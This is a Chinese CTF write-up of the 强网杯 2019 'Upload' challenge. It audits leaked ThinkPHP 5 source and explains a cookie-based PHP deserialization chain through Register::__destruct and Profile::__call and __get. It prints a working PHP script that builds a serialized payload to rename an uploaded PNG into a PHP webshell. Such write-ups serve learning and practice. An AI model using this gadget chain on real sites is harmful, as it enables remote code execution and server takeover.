CTF Web安全

[强网杯 2019]Upload(thinkphp代码审计序列化)

Posted on 2020-03-05,3 min read

就一个登陆。上传图片的功能。
扫下目录。有源码泄露。
是个TP5框架。找到主要的四个文件


首先从login.php开始

首先判断有没有登陆。登陆就直接跳转。home
没登陆。就接受参数。注册用户。某尾

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

如果注册成功。就调用index.php的index方法

判断cookie中user是否有值
然后对其进行base64解码反序列化。
ok。这里有一个反序列化可控。接下来。我们看看cookie的user是哪来的

可以发现。是登陆后。会将用户的info序列化+base64存入cookie。
现在index/login/register流程都看完了
看一下文件上传的流程

ext_check()函数用来判断后缀名。如果不是png。就返回False
update_img()函数从cookie中获取user的id值。带入数据库查询。然后更新cookie。
第一次登陆时赋值的只有用户名密码信息。第二次赋值会加入上传后的文件名

在Profile最后。发现了两个魔法函数。没用到

获取不可达的属性会调用__get
比如$this->a
获取不可达的函数会调用__call
比如$this->a()
之前index.php一个可控的反序列化点。profile两个魔法函数。又是一题反序列化
首先。在Register.php页面最后发现可控的checker会调用->index()

把checker变成Profile类。就会调用Profile类的index方法。然而并没有
就会触发__call魔法函数

会判断是否存在this->index 发现不存在。访问不存在的属性。就会触发__get魔法函数。返回this->except['index']
那么我们可控except为('index'=>'某个函数')
就可以调用函数

流程如下:

index.php触发反序列化。内容放在cookie中
Register类的析构函数。访问$this->Profile类->index()函数
index()函数不存在。触发call魔法函数。判断$this->index
$this->index不存在。触发get魔法函数。访问$this->except['index']
调用upload_img函数
设置各个参数的变量。最后重命名图片

下面开始构造payload

<?php
namespace app\web\controller;

class Profile{
    public $checker=0;
    public $filename_tmp='../public/upload/76d9f00467e5ee6abc3ca60892ef304e/e760c9f307ea3c8854cb3087881dc474.png';
    public $filename='../public/upload/76d9f00467e5ee6abc3ca60892ef304e/e760c9f307ea3c8854cb3087881dc474.php';
    public $ext=1;
    public $except=array('index'=>'upload_img');

}

class Register{
        public $checker;
        public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));

为什么payload中文件名是../public/upload/xxx/xx.png。
在Profile.php中。构造函数。切换目录到了../public/upload
而我们反序列化。并不会触发construct函数。所以需要自行修改文件路径
替换后刷新

已经触发反序列化。改名了。连接shell搞到flag

下一篇: 2020/3/5日常划水~~~~→